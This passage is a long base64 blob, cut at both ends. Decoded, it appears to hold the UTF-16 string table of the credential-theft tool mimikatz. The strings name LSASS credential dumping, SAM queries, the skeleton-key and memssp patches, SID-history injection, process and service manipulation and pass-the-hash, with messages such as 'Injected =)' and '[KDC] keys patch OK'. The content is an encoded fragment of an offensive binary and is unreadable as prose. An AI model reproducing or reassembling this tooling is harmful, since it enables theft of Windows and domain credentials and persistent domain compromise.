DsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBSAEkARAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAVQBzAGUAcgAgADoAIAAlAHcAWgAKAAAAAAAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAAB1AG4AawBuAG8AdwBuAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAAAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAAAAAABTAGUAcgB2AGkAYwBlAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATwBsAGQAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAACAAIAAgACAAJQBzAAoAAAAgACAAIAAgACAAIAAlAHMAIAA6ACAAAAAgACAAIAAgACAAIAAlAHMAIAAoACUAdQApACAAOgAgAAAAAAAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbgBnAAAAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAaQBuAGcAAAAAAAAAYQBkAF8AaABvAGMAXwBuAGUAdAB3AG8AcgBrAF8AZgBvAHIAbQBlAGQAAAAAAAAAYwBvAG4AbgBlAGMAdABlAGQAAAAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAAAAAAAAcwBrAGUAbABlAHQAbwBuAAAAAAAAAAAAbQBlAG0AcwBzAHAAAAAAAGEAZABkAHMAaQBkAAAAAAB3AGkAZgBpAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAGQAZQB0AG8AdQByAHMAAAAAAAAAAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAAVABhAHMAawAgAE0AYQBuAGEAZwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACkAAAAAAAAAAAB0AGEAcwBrAG0AZwByAAAAAAAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAAAAAAGMAbQBkAAAATQBpAHMAYwBlAGwAbABhAG4AZQBvAHUAcwAgAG0AbwBkAHUAbABlAAAAAAAAAAAAbQBpAHMAYwAAAAAAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAAAAAAFdsYW5HZXRQcm9maWxlTGlzdAAAAAAAAFdsYW5HZXRQcm9maWxlAABXbGFuRnJlZU1lbW9yeQAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAVABhAHMAawBNAGcAcgAAAAAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAAAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAAAJACgAJQB3AFoAKQAAAAAACQBbACUAdQBdACAAJQB3AFoAIAAhACAAAAAAAAAAAAAlAC0AMwAyAFMAAAAAAAAAIwAgACUAdQAAAAAAAAAAAAkAIAAlAHAAIAAtAD4AIAAlAHAAAAAAACUAdwBaACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAAAAgAC8AIAAlAHMAIAAtACAAJQBzAAoAAAAJAHwAIAAlAHMACgAAAAAAbgB0AGQAcwAAAAAAAAAAAG4AdABkAHMAYQBpAC4AZABsAGwAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYQBkAGQAcwBpAGQAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoAGIAYQBjAGsAdQBwACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAFMAZQBhAHIAYwBoACAAJQB1ACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcAByAG8AdABlAGMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABTAEkARABIAGkAcwB0AG8AcgB5ACAAZgBvAHIAIAAnACUAcwAnAAoAAAAAAAAAAAAgACoAIAAlAHMACQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABEAHMAQQBkAGQAUwBpAGQASABpAHMAdABvAHIAeQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACEACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAZABkAHMAaQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABEAHMAQgBpAG4AZAA6ACAAJQAwADgAeAAgACgAJQB1ACkAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABPAFMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKABvAG4AbAB5ACAAdwAyAGsAOAByADIAIAAmACAAdwAyAGsAMQAyAHIAMgApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGQAZABzAGkAZAAgADsAIABJAHQAIAByAGUAcQB1AGkAcgBlAHMAIABhAHQAIABsAGUAYQBzAHQAIAAyACAAYQByAGcAcwAKAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAAAAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAHIAZQBhAGwAIABhAHMAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAExvY2FsQWxsb2MAAAAAAABrAGQAYwBzAHYAYwAuAGQAbABsAAAAAABbAEsARABDAF0AIABkAGEAdABhAAoAAABbAEsARABDAF0AIABzAHQAcgB1AGMAdAAKAAAAAAAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAAAAAAFsAUgBDADQAXQAgAGkAbgBpAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAcgBlAG0AbwB0AGUAIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABnAHIAbwB1AHAAAAAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAbgBlAHQAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAAAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZABlAGIAdQBnAAAAAAAAAFAAcgBpAHYAaQBsAGUAZwBlACAAbQBvAGQAdQBsAGUAAAAAAAAAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgACcAJQB1ACcAIABPAEsACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAAByAGUAcwB1AG0AZQAAAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAHMAdQBzAHAAZQBuAGQAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAAAAAAFMAdABhAHIAdAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AGEAcgB0AAAAAAAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAAAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAAAAAAAAZQB4AHAAbwByAHQAcwAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgB0AFQAZQByAG0AaQBuAGEAdABlAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABTAHUAcwBwAGUAbgBkAFAAcgBvAGMAZQBzAHMAAAAAAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlA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HIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBpAHQAaABvAHUAdAAgAFMAYwBTAGUAbgBkAEMAbwBuAHQAcgBvAGwACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAG0AYQByAGsAcgB1AHMAcwAAAAAAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGMAZAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAAAAAAAAdgBlAHIAcwBpAG8AbgAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAAAAAAAATABvAGcAIABtAGkAbQBpAGsAYQB0AHoAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHQAbwAgAGYAaQBsAGUAAAAAAAAAAAAAAAAAAABTA